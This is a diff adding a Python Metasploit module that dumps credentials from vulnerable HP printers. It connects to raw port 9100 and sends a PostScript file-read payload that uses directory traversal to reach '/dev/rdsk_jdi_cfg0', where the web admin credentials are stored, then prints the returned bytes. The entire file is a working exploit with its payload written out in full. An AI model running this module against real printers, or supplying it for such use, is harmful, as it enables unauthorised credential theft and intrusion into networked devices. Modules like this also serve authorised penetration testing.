1
+ #!/usr/bin/env python3
2
+ # -*- coding: utf-8 -*-
3
+
4
+ # Automated PJL/PS cred dumper for vulnerable HP printers (must have dir traversal and '/dev/rdsk_jdi_cfg0')
5
+
6
+ from dataclasses import replace
7
+ from metasploit import module
8
+ import logging
9
+ import time
10
+ import socket
11
+ import ipaddress
12
+
13
+ metadata = {
14
+ 'name' : 'hp_printer_traversal_dump' ,
15
+ 'description' : '''
16
+ Automated PostScript web credential dumper for vulerable HP (or other make) printers.
17
+ This module sends a file read payload using a set directory traversal
18
+ technique to read files outside the sandboxed PS file share typically
19
+ found on port 9100. By default the module will try to read the web admin credentials
20
+ via '/dev/rdsk_jdi_cfg0'. Directory traversal options can be discovered
21
+ with an external tool such as PRET and running 'fuzz path' or 'fuzz blind'
22
+ on a target host.
23
+ ''' ,
24
+ 'authors' : [
25
+ 'Ismaeel Mian (aredspy)'
26
+ ],
27
+ 'date' : '2022-06-27' ,
28
+ 'license' : 'MSF_LICENSE' ,
29
+ 'references' : [
30
+ {'type' : 'url' , 'ref' : 'http://hacking-printers.net/wiki/index.php/File_system_access' },
31
+ {'type' : 'cve' , 'ref' : '2012-5221' }
32
+ ],
33
+ 'type' : 'single_scanner' ,
34
+ 'options' : {
35
+ #'rhosts': {'type': 'address', 'description': 'The target host(s)', 'required': True, 'default': None},
36
+ 'RPORT' : {'type' : 'port' , 'description' : 'The target raw printer port (see http://hacking-printers.net/wiki/index.php/Port_9100_printing)' , 'required' : True , 'default' : 9100 },
37
+ 'traversal_path' : {'type' : 'string' , 'description' : 'Traversal technique to use (or unset for none)' , 'required' : False , 'default' : '../../../' },
38
+ 'file_path' : {'type' : 'string' , 'description' : 'The target file to read data from' , 'required' : True , 'default' : '/dev/rdsk_jdi_cfg0' },
39
+ #'protocol': {'type': 'string', 'description': 'Protocol to use. Accepted: PJL or PS', 'required': True, 'default': 'PS'},
40
+ 'buffer_chunks' : {'type' : 'int' , 'description' : 'The amount of 256 bytes chunks to read from file. Useful for reading device files which may return infinite bytes.' , 'required' : True , 'default' : '20' },
41
+ }
42
+ }
43
+
44
+ def run (args ):
45
+
46
+ #logging
47
+ module .LogHandler .setup (msg_prefix = '{} - ' .format (args ['rhost' ]))
48
+
49
+ #lazy fix for unused PJL
50
+ args ['protocol' ] = 'PS'
51
+
52
+ #create payload
53
+
54
+ if args ['file_path' ][0 :1 ] == '/' or args ['file_path' ][0 :1 ] == '\\ ' :
55
+ file_path = args ['file_path' ][1 :]
56
+ else :
57
+ file_path = args ['file_path' ]
58
+
59
+ try :
60
+ fullpath = args ['traversal_path' ] + file_path
61
+ except Exception :
62
+ fullpath = file_path
63
+
64
+ if args ['protocol' ].upper () == 'PS' :
65
+
66
+ #Use multiline strings they said. Will make your code look more clean they said.
67
+ payload = '''@PJL ENTER LANGUAGE = POSTSCRIPT
68
+ /byte (0) def
69
+ /infile (''' + fullpath + ''') (r) file def
70
+ { infile read {byte exch 0 exch put
71
+ (%stdout) (w) file byte writestring}
72
+ {infile closefile exit} ifelse
73
+ } loop
74
+ '''
75
+
76
+ elif args ['protocol' ].upper () == 'PJL' :
77
+ pass
78
+ else :
79
+ logging .error ('{}' .format ('Please specify either PJL or PS for the protocol' ))
80
+ return
81
+
82
+ #create tcp connection and send payload
83
+
84
+ addr = ipaddress .ip_address (args ['rhost' ])
85
+
86
+ if addr .version == 4 :
87
+ s_type = socket .AF_INET
88
+ elif addr .version == 6 :
89
+ s_type = socket .AF_INET6
90
+
91
+ s = socket .socket (s_type , socket .SOCK_STREAM )
92
+
93
+ try :
94
+ logging .debug ('{}' .format ('connecting...' ))
95
+ s .connect ((addr .exploded , int (args ['RPORT' ])))
96
+ except Exception :
97
+ logging .error ('{}' .format ('refused the connection (is the target port open?)' ))
98
+ return
99
+
100
+ #send payload
101
+ logging .info ('{}' .format ('sending file read payload...' ))
102
+
103
+ #read data output and print to console
104
+ #size = 256
105
+ samples = 0
106
+ data = b''
107
+ try :
108
+ s .sendall (payload .encode ('ascii' ))
109
+ while samples < int (args ['buffer_chunks' ]):
110
+ temp = s .recv (256 )
111
+ #size = len(temp)
112
+ data = data + temp
113
+ samples += 1
114
+ except Exception :
115
+ logging .error ('{}' .format ('Socket error with recv (is host responding/filtered?)' ))
116
+
117
+ s .close ()
118
+ logging .info ('{}' .format ('Data dump as ASCII:' ))
119
+ ascii_data = data .decode ('ascii' , errors = 'replace' )
120
+ logging .info (ascii_data )
121
+ #logging.info(data)
122
+
123
+
124
+ if __name__ == '__main__' :
125
+ module .run (metadata , run )
0 commit comments